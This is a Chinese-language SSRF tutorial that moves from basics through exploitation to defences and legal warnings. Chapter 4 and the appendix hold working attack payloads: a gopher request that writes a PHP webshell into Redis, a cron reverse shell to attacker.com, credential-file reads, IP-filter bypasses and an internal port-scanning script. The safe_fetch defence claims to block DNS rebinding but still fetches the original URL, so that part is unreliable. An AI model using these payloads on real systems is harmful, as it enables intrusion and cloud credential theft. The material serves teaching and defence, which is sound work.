第零章:零基础入门
如果你完全没有安全基础,从这里开始读。如果你已有基础,可直接跳到第一章。
0.1 先搞懂服务器为什么要"代你"发请求
你用手机扫描一个二维码,或者在一个网页输入一个链接想"预览"——这些操作背后,是你的浏览器在发请求。但有些功能是服务器帮你发请求:
场景1:在线翻译
你输入一个网址 → 翻译网站的服务器去访问那个网址 → 把页面内容翻译给你
场景2:图片预览
你输入一个图片 URL → 服务器去下载那张图 → 显示缩略图给你
场景3:Webhook 测试
你配置一个回调 URL → 服务器在特定事件时向那个 URL 发请求
场景4:文档导入
你输入一个 URL → 服务器去下载文档并导入
SSRF 就是:攻击者让服务器去访问"服务器本不该访问"的地址(通常是内网)。
0.2 什么是内网,为什么重要
互联网(公网)
┌─────────────────────────────────────────┐
│ │
│ 你的浏览器 攻击者 │
│ │ │
│ ↓ │
│ Web 服务器 ← 有 SSRF 漏洞 │
│ │ │
│──────┼─── 防火墙 ───────────────────────│
│ │ │
│ ↓ 内网(私网) │
│ ┌──────────────────────────┐ │
│ │ Redis 数据库 192.168.1.5 │ │
│ │ MySQL 数据库 192.168.1.6 │ │
│ │ 管理后台 192.168.1.10 │ │
│ │ 云元数据 169.254.169.254 │ │
│ └──────────────────────────┘ │
│ │
└─────────────────────────────────────────┘
防火墙规则:Web 服务器可以访问内网,但外网不能。
SSRF 让 Web 服务器"代替"攻击者访问内网 → 绕过防火墙。
0.3 用生活类比理解 SSRF
想象你住在小区里,外卖不能进小区。但你可以让物业帮你去门口取外卖。
正常情况:你让物业去取你自己的外卖。
SSRF:你让物业去取"别人"的外卖,或者去小区内部的仓库拿东西(物业有权限进仓库,你没有)。
0.4 什么是 URL,为什么用户能控制它
http://192.168.1.1/admin
│ │ │
协议 目标地址 路径
当网站有一个功能:fetch.php?url=用户输入的URL
→ 服务器去访问用户指定的 URL
→ 如果用户输入 url=http://192.168.1.1/admin
→ 服务器去访问了内网管理后台!
0.5 SSRF 能造成什么危害
| 读文件 | 读取服务器上的配置文件 | ★★★★★ |
| 内网探测 | 扫描内网端口和服务 | ★★★★ |
| 攻击内网服务 | 攻击内网 Redis/MySQL | ★★★★★ |
| 云元数据泄露 | 窃取云平台临时凭证 | ★★★★★ |
| 执行命令 | 通过协议组合执行命令 | ★★★★★ |
0.6 真实案例:Capital One 事件(2019)
1. 攻击者发现 Capital One 的一个功能可以输入 URL
2. 输入 url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. 服务器去访问了 AWS 云元数据接口
4. 返回了 IAM 角色的临时 AccessKey 和 SecretKey
5. 攻击者用这些凭证访问了 S3 存储桶
6. 下载了 1 亿用户的个人信息
7. Capital One 被罚款 8000 万美元
这就是为什么 SSRF 是 OWASP Top 10 之一。
0.7 你需要的前置知识
| HTTP 协议 | 请求/响应 | 第 1 篇 0.5 节 |
| URL 结构 | 协议://地址:端口/路径 | 本章 0.4 节 |
| IP 地址 | 内网/外网区别 | 本章 0.2 节 |
| 服务器架构 | Web/数据库/缓存 | 本章 0.2 节 |
0.8 零基础第一次理解 SSRF 攻击
正常使用:
http://shop.com/fetch.php?url=2026-09-30dqf5nl41w0y.png
→ 服务器去 cdn.example.com 下载 logo.png → 返回给你
SSRF 攻击:
http://shop.com/fetch.php?url=file:///etc/passwd
→ 服务器去读取本地 /etc/passwd 文件 → 返回给攻击者
http://shop.com/fetch.php?url=http://192.168.1.5:6379/
→ 服务器去访问内网 Redis → 返回 Redis 响应
http://shop.com/fetch.php?url=http://169.254.169.254/latest/meta-data/
→ 服务器去读取云元数据 → 返回临时凭证
0.9 零基础练习
# 1. 理解 URL 的各部分
# http://localhost:8080/fetch.php?url=http://example.com
# ↑自己的服务器 ↑参数名 ↑用户控制的URL
# 2. 在本地搭建靶场
docker run -d -p 8080:80 vulnerables/web-dvwa
# 3. 理解内网地址
# 127.0.0.1 = 本机
# 192.168.x.x = 内网
# 169.254.169.254 = 云元数据(AWS)
# 4. 尝试理解协议
# file:// = 读文件
# http:// = 发请求
# gopher:// = 发任意 TCP 数据
⚠️ 只在本地靶场练习!不要对真实网站输入内网 URL。
第一章:基础铺垫
1.1 先搞懂服务端为什么要发起请求
很多 Web 应用需要服务器主动发起 HTTP 请求,这是正常的业务需求:
| 图片预览 | 用户提供 URL,服务器抓取图片缩略图 | 用户输入 |
| 在线翻译 | 用户提供 URL,服务器抓取页面翻译 | 用户输入 |
| Webhook 回调 | 测试 Webhook 是否可达 | 用户配置 |
| 文档导入 | 从 URL 加载文件(如远程 XML、图片) | 用户输入 |
| RSS 订阅 | 抓取远程 RSS 源 | 用户配置 |
| PDF 渲染 | 从 URL 加载图片到 PDF 中 | 页面内容 |
| 网页截图 | 服务器渲染网页并截图 | 用户输入 |
| API 网关 | 代理转发请求到后端服务 | 路由配置 |
| 元数据查询 | 查询 URL 的 OG 标签 | 用户输入 |
如果服务端发起请求的目标 URL 可被用户控制,且没有校验目标地址,就产生 SSRF。
1.2 什么是 SSRF
SSRF(Server-Side Request Forgery,服务端请求伪造) 是攻击者利用服务端的"代为请求"功能,让服务器访问攻击者指定的(通常是内网的)地址。
1.3 核心危害 —— 穿透防火墙
互联网
攻击者(外网) ──→ Web服务器(有SSRF漏洞)
│
│ 服务器可访问内网(防火墙允许)
↓
内网服务
├── Redis(6379)
├── MySQL(3306)
├── FastCGI(9000)
├── Admin面板(8080)
└── 云元数据(169.254.169.254)
← 防火墙只允许 Web 服务器访问内网,不允许外网直接访问
防火墙允许 Web 服务器访问内网(因为业务需要),但不允许外网用户直接访问。SSRF 让 Web 服务器代替攻击者发起内网请求,等于绕过了防火墙。
1.4 SSRF 的历史
| 2010年 | SSRF 概念被系统描述 |
| 2014年 | AWS SSRF 元数据泄露被广泛利用 |
| 2015年 | GitHub SSRF 漏洞导致内网探测 |
| 2017年 | OWASP 将其列入 Top 10 |
| 2019年 | Capital One 数据泄露:SSRF 读取 AWS 元数据,1 亿用户数据泄露,罚款 8000 万美元 |
| 2020年 | AWS 推出 IMDSv2 防御元数据泄露 |
| 2021年 | OWASP Top 10 新增 A10:SSRF |
1.5 Capital One 事件详解
2019年最严重的数据泄露事件:
1. 攻击者发现 Capital One 的一个 WAF(ModSecurity)配置错误
2. WAF 被 SSRF 利用,向 AWS 元数据服务发起请求
3. 获取了 IAM 角色的临时凭证(AccessKey + SecretKey + Token)
4. 用临时凭证访问 S3 存储桶
5. 下载了 1 亿用户的个人信息(包括 SSN、银行账号)
6. 造成 8000 万美元罚款 + 巨大声誉损失
教训:SSRF + 云元数据 = 灾难性后果。这就是为什么 AWS 推出了 IMDSv2。
1.6 危害
| 内网探测 | 端口扫描、服务识别 | ★★★ |
| 读取本地文件 | file:// 协议读配置/密钥 | ★★★★ |
| 攻击内网服务 | Redis/MySQL/FastCGI | ★★★★★ |
| 云元数据泄露 | AWS/阿里云临时凭证 | ★★★★★ |
| 执行命令 | gopher 协议组合 | ★★★★★ |
| 内网 Web 攻击 | 利用已知漏洞 | ★★★★ |
1.7 必要的前置知识
-
HTTP 协议:请求方法、状态码、Header
-
URL 结构:scheme://host:port/path?query
-
内网 IP 范围:
-
10.0.0.0/8(A 类私网)
-
172.16.0.0/12(B 类私网)
-
192.168.0.0/16(C 类私网)
-
127.0.0.0/8(回环地址)
-
169.254.0.0/16(链路本地,云元数据)
-
-
云元数据地址:
-
AWS:169.254.169.254/latest/meta-data/
-
阿里云:100.100.100.200/latest/meta-data/
-
腾讯云:169.254.169.254/latest/meta-data/
-
-
Redis/Memcached 协议:了解内网服务攻击原理
第二章:原理剖析
2.1 SSRF 的数据流
攻击者构造 URL → 服务端发起请求 → 访问内网/本地文件 → 返回结果给攻击者
2.2 支持的协议详解
| http:// / https:// | 发起请求(SSRF/探测) | ✅ | ✅ | ✅ | 最常见 |
| file:// | 读取本地文件 | ✅ | ✅ | ✅ | 读配置/密钥 |
| gopher:// | 发送任意 TCP 数据 | ✅ | 部分 | ❌ | 打内网服务 |
| dict:// | 探测端口/服务 | ✅ | ❌ | ❌ | 端口扫描 |
| ftp:// | 读文件 / OOB 外带 | ✅ | ✅ | ✅ | 数据外带 |
| php://filter | PHP 伪协议读源码 | ✅ | ❌ | ❌ | 读 PHP 源码 |
| expect:// | 执行命令 | ✅ | ❌ | ❌ | 需 expect 扩展 |
| netdoc:// | 类似 file | ❌ | ✅ | ❌ | Java 特有 |
| ldap:// | LDAP 查询 | ✅ | ✅ | ✅ | — |
2.3 常见触发函数
| PHP | file_get_contents() | 读取文件/URL 内容 |
| PHP | curl_exec() | cURL 请求 |
| PHP | fopen() / fread() | 打开文件/URL |
| PHP | fsockopen() | socket 连接 |
| Python | requests.get() | HTTP 请求 |
| Python | urllib.urlopen() | URL 打开 |
| Python | httplib.HTTPConnection | HTTP 连接 |
| Java | URL.openConnection() | URL 连接 |
| Java | HttpClient | HTTP 客户端 |
| Java | RestTemplate | REST 请求 |
| Node.js | http.get() | HTTP 请求 |
| Node.js | axios.get() | HTTP 请求 |
2.4 SSRF vs CSRF 的区别
| 请求发起方 | 服务端 | 用户浏览器 |
| 目标 | 内网服务 | 目标网站 |
| 攻击者控制 | 目标 URL | 用户身份 |
| 能否读取响应 | ✅(部分场景) | ❌ |
| 防御 | 白名单+校验IP | Token |
2.5 为什么 gopher 协议如此强大
gopher:// 协议是 SSRF 的终极武器,因为它可以发送任意 TCP 数据包:
gopher://目标IP:端口/_TCP数据(URL编码)
_ 是 gopher 协议的第一个字符占位(被忽略),后面的数据按 TCP 发送给目标端口。
这意味着:
-
可以模拟 Redis 协议 → 打内网 Redis
-
可以模拟 MySQL 协议 → 打内网 MySQL
-
可以模拟 HTTP 协议 → 发送任意 HTTP 请求
-
可以模拟 FastCGI 协议 → 打 PHP-FPM
-
可以模拟 SMTP 协议 → 发送邮件
第三章:案例演示
案例 1:图片抓取 SSRF
漏洞代码 fetch.php:
<?php
$url = $_GET['url']; // ❌ 用户可控目标地址
$img = file_get_contents($url); // ❌ 服务端请求任意地址
header('Content-Type: image/jpeg');
echo $img;
?>
基础利用:
# 1. 读取本地文件(file 协议)
http://victim.com/fetch.php?url=file:///etc/passwd
http://victim.com/fetch.php?url=file:///proc/self/environ
# /proc/self/environ 包含环境变量,可能含数据库密码、API 密钥
http://victim.com/fetch.php?url=file:///proc/self/cmdline
# 进程启动命令
http://victim.com/fetch.php?url=file:///var/www/html/config.php
# 应用配置文件(含数据库密码)
# 2. 探测内网端口
http://victim.com/fetch.php?url=http://127.0.0.1:22/ # SSH
http://victim.com/fetch.php?url=http://127.0.0.1:3306/ # MySQL
http://victim.com/fetch.php?url=http://127.0.0.1:6379/ # Redis
http://victim.com/fetch.php?url=http://127.0.0.1:8080/ # Web 应用
http://victim.com/fetch.php?url=http://127.0.0.1:9200/ # Elasticsearch
http://victim.com/fetch.php?url=http://127.0.0.1:11211/ # Memcached
# 3. 访问内网应用
http://victim.com/fetch.php?url=http://192.168.1.100:8080/admin
# 4. 探测内网网段
http://victim.com/fetch.php?url=http://192.168.1.1/
http://victim.com/fetch.php?url=http://10.0.0.1/
判断端口存活的方法:
| 快速返回 + 正常内容 | 端口开放 + HTTP 服务 |
| 快速返回 + 特殊错误 | 端口开放 + 非 HTTP 服务 |
| 连接超时(慢) | 端口关闭/被防火墙过滤 |
| 返回 Redis 错误 -ERR | Redis 服务 |
| 返回 MySQL 握手包 | MySQL 服务 |
案例 2:云元数据泄露(AWS)
AWS EC2 实例可通过 169.254.169.254 获取实例元数据:
# 获取实例基本信息
http://victim.com/fetch.php?url=http://169.254.169.254/latest/meta-data/
# 列出所有元数据项
http://victim.com/fetch.php?url=http://169.254.169.254/latest/meta-data/iam/
# 获取 IAM 角色名
http://victim.com/fetch.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 获取临时 AccessKey(IMDSv1 可直接读)
http://victim.com/fetch.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}
返回的 JSON:
{
"AccessKeyId": "ASIA…",
"SecretAccessKey": "wJalrXUt…",
"Token": "IQoJb3Jp…",
"Expiration": "2024-…"
}
攻击者用这些临时凭证直接操作云资源——读 S3、启动实例、横向渗透。
其他云平台元数据:
| AWS | 169.254.169.254/latest/meta-data/ | IMDSv1 无需 Token |
| 阿里云 | 100.100.100.200/latest/meta-data/ | — |
| 腾讯云 | 169.254.169.254/latest/meta-data/ | — |
| Google Cloud | 169.254.169.254/computeMetadata/v1/ | 需 Metadata-Flavor: Google 头 |
| Azure | 169.254.169.254/metadata/instance | 需 Metadata: true 头 |
案例 3:Python Flask SSRF
import requests
from flask import Flask, request, Response
app = Flask(__name__)
@app.route('/proxy')
def proxy():
url = request.args.get('url') # ❌ 用户可控
r = requests.get(url) # ❌ 服务端发起请求
return Response(r.content, mimetype=r.headers.get('Content-Type'))
@app.route('/screenshot')
def screenshot():
url = request.args.get('url')
r = requests.get(url) # ❌ requests 支持 http/https/ftp
return r.text
案例 4:dict 协议探测
# dict 协议可以与目标端口建立 TCP 连接并发送命令
http://victim.com/fetch.php?url=dict://127.0.0.1:6379/info
# 等价于向 Redis 发送 INFO 命令
http://victim.com/fetch.php?url=dict://127.0.0.1:11211/stats
# 探测 Memcached
案例 5:Java SSRF
URL url = new URL(request.getParameter("url")); // ❌ 用户可控
URLConnection conn = url.openConnection();
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
response.getWriter().println(line);
}
Java 的 URL.openConnection() 支持 http、https、file、ftp、jar、netdoc 等协议。
第四章:实战进阶
4.1 本地靶场搭建
# SSRF 靶场(包含内网 Redis 环境)
docker run -d -p 8080:80 -p 6379:6379 ssrf-test/app
# 或用 Docker Compose 自建
cat > docker-compose.yml << 'EOF'
version: '3'
services:
web:
image: php:7.4-apache
ports:
– "8080:80"
volumes:
– ./fetch.php:/var/www/html/fetch.php
redis:
image: redis:6
ports:
– "6379:6379"
EOF
docker-compose up -d
# Vulhub 复现真实 CVE
cd vulhub/…
docker-compose up -d
4.2 绕过 IP 限制(完整 10 种方法)
开发者常过滤 127.0.0.1、localhost、192.168,高手用各种等价形式绕过:
| 十进制 IP | 2130706433 | 127.0.0.1 的十进制 |
| 八进制 | 0177.0.0.1 | 0177 = 127 |
| 十六进制 | 0x7f.0x0.0x0.0x1 | 0x7f = 127 |
| 混合进制 | 0177.0.0×0.1 | 各段可用不同进制 |
| 省略零 | 127.1 | 等价 127.0.0.1 |
| IPv6 | [::1] | 回环地址 |
| IPv6 映射 | [::ffff:127.0.0.1] | IPv4 映射的 IPv6 |
| @ 符号 | http://evil.com@127.0.0.1 | URL 中 @ 前为用户名 |
| 短链接 | bit.ly/xxx → 127.0.0.1 | 跳转 |
| DNS 重绑定 | 域名解析到 127.0.0.1 | 见下文 |
| 302 跳转 | 攻击者服务器 302 跳转 | 见下文 |
| URL 编码 | 127.0.0.1 → %31%32%37%2e%30%2e%30%2e%31 | — |
| 添加端口 | http://127.0.0.1:80@evil.com | 混淆 |
十进制 IP 计算原理:
127.0.0.1 = 127×256³ + 0×256² + 0×256 + 1 = 2130706433
访问 http://2130706433/ 等价于 http://127.0.0.1/。
@ 符号绕过详解:
http://evil.com@127.0.0.1
↑ ↑
用户名部分 实际目标
URL 格式:scheme://user:pass@host:port/path
@ 前面是用户名(被忽略),@ 后面是实际目标
但有些校验只看 @ 前面,认为是 evil.com → 通过校验
实际请求的是 127.0.0.1
4.3 DNS 重绑定详解
当服务端先校验域名解析的 IP,再发起请求时:
1. 攻击者注册域名 evil.com,DNS TTL 设为 0
2. 第一次 DNS 解析:返回合法外网 IP(如 1.2.3.4)→ 通过服务端校验
3. 服务端校验通过,准备发起请求
4. 第二次 DNS 解析(实际请求时):返回 127.0.0.1
5. 服务端实际请求 127.0.0.1(内网)
DNS 重绑定工具:
-
rbndr.us — 在线 DNS 重绑定服务
-
ceye.io — DNSLog 平台
防御:校验后直接用解析到的 IP 发起连接,不让请求再走 DNS。
4.4 302 跳转绕过
攻击者搭建一个服务器,返回 302 跳转到内网地址:
# attacker_server.py
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def index():
# 跳转到内网地址
return redirect('http://127.0.0.1:6379/')
攻击者提交 url=http://attacker.com/:
服务端校验 attacker.com 的 IP(合法外网 IP,通过校验)
服务端请求 attacker.com
attacker.com 返回 302 跳转到 http://127.0.0.1:6379/
服务端跟随跳转,请求了内网 Redis
4.5 Gopher 协议 —— 终极武器
gopher:// 可发送任意 TCP 数据包,打内网服务。
攻击内网 Redis 写 WebShell:
等价 Redis 命令:
FLUSHALL # 清空数据库
SET 1 "<?php @eval($_POST[cmd]);?>" # 写入 WebShell 内容
CONFIG SET dir /var/www/html # 设置保存目录
CONFIG SET dbfilename shell.php # 设置保存文件名
SAVE # 保存到磁盘
Redis 使用 RESP(REdis Serialization Protocol)协议:
*1\\r\\n → 1个参数的命令
$8\\r\\n → 下一个字符串长度8
flushall\\r\\n → 命令名
转换为 gopher payload(URL 编码):
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a<?php @eval($_POST[cmd]);?>%0d%0a
*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a
*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a
*1%0d%0a$4%0d%0asave%0d%0a
-
%0d%0a = \\r\\n(Redis 协议换行)
-
*N = N个参数
-
$N = 下一个字符串长度为N
攻击内网 Redis 写 SSH 公钥:
FLUSHALL
SET 1 "ssh-rsa AAAA…攻击者公钥…"
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SAVE
攻击内网 Redis 写计划任务:
SET 1 "\\n\\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\\n\\n"
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
SAVE
攻击内网 MySQL:构造 MySQL 协议握手包和查询语句。
攻击内网 FastCGI:构造 FastCGI 协议包,让 PHP-FPM 执行任意代码。
4.6 file 协议读敏感文件
file:///etc/passwd # 用户列表
file:///etc/shadow # 密码哈希(需 root)
file:///proc/self/environ # 环境变量(可能含密钥)
file:///proc/self/cmdline # 进程启动命令
file:///var/www/html/config.php # 应用配置(数据库密码)
file:///var/www/html/.env # Laravel 环境配置
file:///root/.ssh/id_rsa # SSH 私钥
file:///c:/windows/win.ini # Windows 系统文件
4.7 SSRF 自动化探测脚本
import requests
import time
target = "http://localhost:8080/fetch.php?url="
# 探测常见内网端口
ports = [22, 80, 443, 3306, 6379, 8080, 8443, 9200, 11211, 27017]
for port in ports:
url = f"{target}http://127.0.0.1:{port}/"
try:
start = time.time()
r = requests.get(url, timeout=3)
elapsed = time.time() – start
print(f"[+] Port {port}: {r.status_code} ({elapsed:.1f}s) – {r.text[:80]}")
except requests.exceptions.ConnectionError:
print(f"[-] Port {port}: 关闭")
except requests.exceptions.Timeout:
print(f"[!] Port {port}: 超时(可能开放,需进一步探测)")
# 扫描内网网段
print("\\n=== 内网主机扫描 ===")
for i in range(1, 255):
url = f"{target}http://192.168.1.{i}/"
try:
r = requests.get(url, timeout=1)
if r.status_code == 200:
print(f"[+] 192.168.1.{i}: 存活 ({r.text[:50]})")
except:
pass
# 读取云元数据
print("\\n=== 云元数据 ===")
cloud_urls = [
("AWS", "http://169.254.169.254/latest/meta-data/"),
("阿里云", "http://100.100.100.200/latest/meta-data/"),
]
for name, cloud_url in cloud_urls:
url = f"{target}{cloud_url}"
try:
r = requests.get(url, timeout=3)
if r.status_code == 200 and r.text:
print(f"[+] {name} 元数据: {r.text[:100]}")
except:
pass
4.8 SSRF 工具
# SSRFmap
python3 ssrfmap.py -r request.txt -p url -m readfiles
# Gopherus(生成 gopher payload)
python3 gopherus.py –exploit redis
# server-side-request-forgery(自动化检测)
# 使用 BurpSuite 插件 Collaborator 检测 Blind SSRF
4.9 SSRF 测试方法论
步骤1:识别可控 URL 输入点
– 全局搜索 url 参数
– 检查图片预览、翻译、导入等功能
– 检查 Webhook 配置
步骤2:测试协议
– http:// → 探测内网
– file:// → 读文件
– gopher:// → 打内网服务
– dict:// → 端口探测
步骤3:绕过 IP 限制
– 十进制/八进制/十六进制
– DNS 重绑定
– 302 跳转
步骤4:深入利用
– 云元数据泄露
– 内网 Redis/MySQL 攻击
– 内网 Web 应用攻击
第五章:防御与避险
5.1 白名单限制目标(最可靠)
from urllib.parse import urlparse
ALLOWED_DOMAINS = {'api.partner.com', 'cdn.example.com'}
ALLOWED_SCHEMES = {'http', 'https'} # 禁止 file/gopher/dict
def is_safe_url(url):
p = urlparse(url)
# 1. 只允许 http/https 协议
if p.scheme not in ALLOWED_SCHEMES:
return False, '非法协议'
# 2. 只允许白名单域名
if p.hostname not in ALLOWED_DOMAINS:
return False, '非法域名'
# 3. 不允许包含 @ 符号(防混淆)
if '@' in url:
return False, 'URL 包含非法字符'
return True, 'OK'
5.2 解析后校验真实 IP(防 DNS 重绑定)
import ipaddress
import socket
from urllib.parse import urlparse
def is_internal_ip(ip_str):
"""判断是否为内网/保留 IP"""
ip = ipaddress.ip_address(ip_str)
return (
ip.is_private or # 10.x.x.x, 172.16-31.x.x, 192.168.x.x
ip.is_loopback or # 127.x.x.x
ip.is_reserved or # 保留地址
ip.is_multicast or # 多播
ip.is_link_local or # 169.254.x.x(云元数据)
ip in ipaddress.ip_network('100.64.0.0/10') # 运营商内网
)
def safe_fetch(url):
p = urlparse(url)
if p.scheme not in ('http', 'https'):
raise ValueError('非法协议')
# 解析域名获取 IP
ip = socket.gethostbyname(p.hostname)
# 校验 IP 不是内网
if is_internal_ip(ip):
raise ValueError('禁止访问内网地址')
# ✅ 关键:用 IP 直接连接,避免再次 DNS 解析(防重绑定)
response = requests.get(
url,
headers={'Host': p.hostname},
allow_redirects=False, # 禁止跟随跳转(防 302 绕过)
timeout=5
)
# 检查是否被重定向
if 300 <= response.status_code < 400:
raise ValueError('检测到跳转,已拦截')
return response
5.3 禁用危险协议
只允许 http/https,禁止 file、gopher、dict、ftp:
if p.scheme not in ('http', 'https'):
raise ValueError('只允许 http/https 协议')
5.4 禁止跟随跳转
response = requests.get(url, allow_redirects=False)
if 300 <= response.status_code < 400:
raise ValueError('检测到跳转,已拦截')
5.5 网络层隔离
– 应用服务器与内网关键服务(Redis、MySQL、管理面板)网络隔离
– 出站流量白名单:只允许访问必要的白名单地址
– 使用安全组/防火墙规则限制出站
– Redis/Memcached 不监听公网接口,需要认证
5.6 云环境启用 IMDSv2
# 设置 IMDSv2 为必需(PUT 请求需要 Token 头)
aws ec2 modify-instance-metadata-options \\
–instance-id i-xxx \\
–http-tokens required \\
–http-endpoint enabled
IMDSv2 要求先 PUT 请求获取 Session Token,再用 Token 访问元数据。SSRF 通常只能发 GET 请求,因此 IMDSv2 有效缓解了元数据泄露。
5.7 防御总结
| 白名单域名 | 只允许预定义域名 | ★★★★★ | 最可靠 |
| 校验真实 IP | 解析后检查非内网 | ★★★★★ | 防重绑定 |
| 禁用危险协议 | 只允许 http/https | ★★★★★ | 防 file/gopher |
| 禁止跳转 | 不跟随 302 | ★★★★ | 防 302 绕过 |
| 网络隔离 | 内网不可达 | ★★★★ | 架构层 |
| IMDSv2 | 云元数据需 Token | ★★★★ | 云环境必需 |
| Redis 认证 | 设置密码 | ★★★★ | 即使被打也无法操作 |
5.8 安全编码 Checklist
- URL 是否限制在白名单域名?
- 是否校验了解析后的真实 IP?
- 是否禁用了 file/gopher/dict 协议?
- 是否禁止了 302 跳转?
- 是否校验后直接用 IP 连接(防 DNS 重绑定)?
- 云环境是否启用了 IMDSv2?
- 内网服务是否网络隔离?
- Redis/Memcached 是否设置了认证?
- 是否有出站流量白名单?
第六章:法律合规与避险
6.1 合法行为
-
✅ 在本地靶场练习 SSRF
-
✅ 对自己拥有的网站测试
-
✅ 书面授权范围内的渗透测试
-
✅ 在自己的云账号中测试元数据
6.2 违法行为
-
❌ 利用 SSRF 访问他人内网
-
❌ 窃取云平台临时凭证
-
❌ 通过 SSRF 攻击内网数据库
-
❌ 通过 SSRF 读取他人服务器文件
-
❌ 通过 gopher 协议攻击内网服务
6.3 涉及法律
| 刑法 | 第285条 | 非法侵入/获取计算机信息系统数据罪 | 三年以下至七年以下 |
| 刑法 | 第286条 | 破坏计算机信息系统罪 | 五年以下至五年以上 |
| 网络安全法 | 第27条 | 不得非法侵入他人网络 | — |
| 数据安全法 | 相关条款 | 非法获取数据 | — |
6.4 真实案例警示
-
Capital One(2019):SSRF 读取 AWS 元数据 → 1 亿用户数据泄露 → 8000 万美元罚款
-
GitHub(2015):SSRF 漏洞导致内网探测
-
多个云平台用户:SSRF + 元数据 → 云资源被完全控制
6.5 自我保护建议
SSRF 练习只在本地 Docker 靶场中进行
云环境测试只在自己的云账号中进行
发现真实网站 SSRF → 报告 SRC,不自行探测内网
不窃取云平台临时凭证
不用 gopher 协议攻击他人的内网服务
6.6 漏洞报告流程
1. 发现 SSRF → 不要实际访问内网服务
2. 只证明 SSRF 存在(如请求 DNSLog 收到回调)
3. 截图提交给厂商 SRC
4. 等待确认和修复
5. 不要读取云元数据中的凭证
大神进阶:高级 SSRF 技巧与真实案例
A.1 真实 CVE 案例分析
Capital One SSRF(2019)
1. Capital One 使用 AWS WAF(ModSecurity)
2. WAF 配置错误,允许 SSRF 请求
3. 攻击者通过 WAF 向 AWS 元数据服务发起请求
4. 获取了 IAM 角色的临时凭证
5. 用凭证访问 S3 → 下载 1 亿用户数据
6. 罚款 8000 万美元
教训:SSRF + 云元数据 = 灾难
GitHub SSRF(2017)
GitHub 的 Webhook 功能允许用户配置回调 URL
攻击者配置内网地址 → 探测内网服务
GitHub 修复后限制了目标地址
A.2 DNS 重绑定攻击详解
1. 攻击者注册域名 evil.com
2. 配置两个 DNS 服务器:
– 第一次解析 → 返回合法外网 IP(如 1.2.3.4)
– 第二次解析 → 返回 127.0.0.1
– TTL 设为 0(立即过期)
3. 服务端校验流程:
解析 evil.com → IP=1.2.3.4 → 通过校验 ✅
4. 服务端实际请求:
再次解析 evil.com → IP=127.0.0.1 → 请求内网 ❌
5. 结果:服务端请求了 127.0.0.1
防御:校验后直接用 IP 连接,不再走 DNS。
A.3 Gopher 协议攻击内网服务大全
Redis(6379):
→ 写 WebShell
→ 写 SSH 公钥
→ 写计划任务(反弹 Shell)
→ 写主从同步 RCE
MySQL(3306):
→ 构造 MySQL 协议包执行查询
→ 读取数据库内容
FastCGI(9000):
→ 构造 FastCGI 协议包
→ 让 PHP-FPM 执行任意代码
Memcached(11211):
→ 读取缓存数据
→ 写入恶意缓存
Elasticsearch(9200):
→ 读取索引数据
→ 执行 Groovy 脚本
A.4 SSRF 绕过大全(完整版)
IP 绕过(10+ 种):
127.0.0.1 → 2130706433(十进制)
127.0.0.1 → 0x7f.0x0.0x0.0x1(十六进制)
127.0.0.1 → 0177.0.0.1(八进制)
127.0.0.1 → 127.1(省略)
127.0.0.1 → [::1](IPv6)
127.0.0.1 → [::ffff:127.0.0.1](映射)
127.0.0.1 → http://evil.com@127.0.0.1(@混淆)
跳转绕过:
302 跳转 → 攻击者服务器跳转到内网
DNS 重绑定 → 域名解析到内网
短链接 → 跳转到内网
协议绕过:
http 被禁 → 尝试 https、gopher、dict、file
URL 编码 → %31%32%37%2e%30%2e%30%2e%31
A.5 SSRF 大神级 Checklist
检测:
– [ ] 是否有用户可控的 URL 参数?
– [ ] 是否检查了所有协议?
– [ ] 是否测试了 IP 绕过?
– [ ] 是否测试了 DNS 重绑定?
– [ ] 是否测试了 302 跳转?
– [ ] 是否测试了云元数据?
利用:
– [ ] 是否探测了内网端口?
– [ ] 是否读取了本地文件?
– [ ] 是否尝试了 gopher 协议?
– [ ] 是否检查了云元数据?
– [ ] 是否尝试了攻击内网 Redis/MySQL?
防御:
– [ ] 是否使用白名单域名?
– [ ] 是否校验解析后的真实 IP?
– [ ] 是否禁用了危险协议?
– [ ] 是否禁止了跳转?
– [ ] 云环境是否启用 IMDSv2?
– [ ] 内网服务是否网络隔离?
– [ ] Redis 是否设置了认证?
附录:速查表
IP 绕过速查
| 十进制 | 2130706433 | 127.0.0.1 |
| 八进制 | 0177.0.0.1 | 0177=127 |
| 十六进制 | 0x7f.0x0.0x0.0x1 | 0x7f=127 |
| 省略 | 127.1 | 等价 127.0.0.1 |
| IPv6 | [::1] | 回环 |
| 映射 | [::ffff:127.0.0.1] | IPv4映射 |
| @ | http://evil.com@127.0.0.1 | 用户名混淆 |
| 跳转 | 302 → 127.0.0.1 | 重定向 |
| DNS | 域名解析到 127.0.0.1 | 重绑定 |
协议利用速查
| file:// | 读文件 | file:///etc/passwd |
| http:// | SSRF/探测 | http://127.0.0.1:6379/ |
| gopher:// | 打内网服务 | gopher://127.0.0.1:6379/_… |
| dict:// | 探测端口 | dict://127.0.0.1:6379/info |
| php://filter | 读源码 | php://filter/resource=index.php |
内网端口速查
| 22 | SSH | 连接超时=开放 |
| 80/443 | HTTP/S | 返回 HTTP 响应 |
| 3306 | MySQL | 返回握手包 |
| 6379 | Redis | 返回 -ERR 或 +PONG |
| 8080 | Web 应用 | 返回 HTTP 响应 |
| 9200 | Elasticsearch | 返回 JSON |
| 11211 | Memcached | 返回统计信息 |
| 27017 | MongoDB | 返回 MongoDB 响应 |
总结:SSRF 防御核心是白名单 + 解析后校验真实 IP,禁止非 http(s) 协议,禁止跳转。关键细节:校验后必须直接用 IP 连接(防 DNS 重绑定)。云环境务必启用 IMDSv2。记住:SSRF + 云元数据 = 灾难性后果(Capital One 事件就是教训)。
网硕互联帮助中心





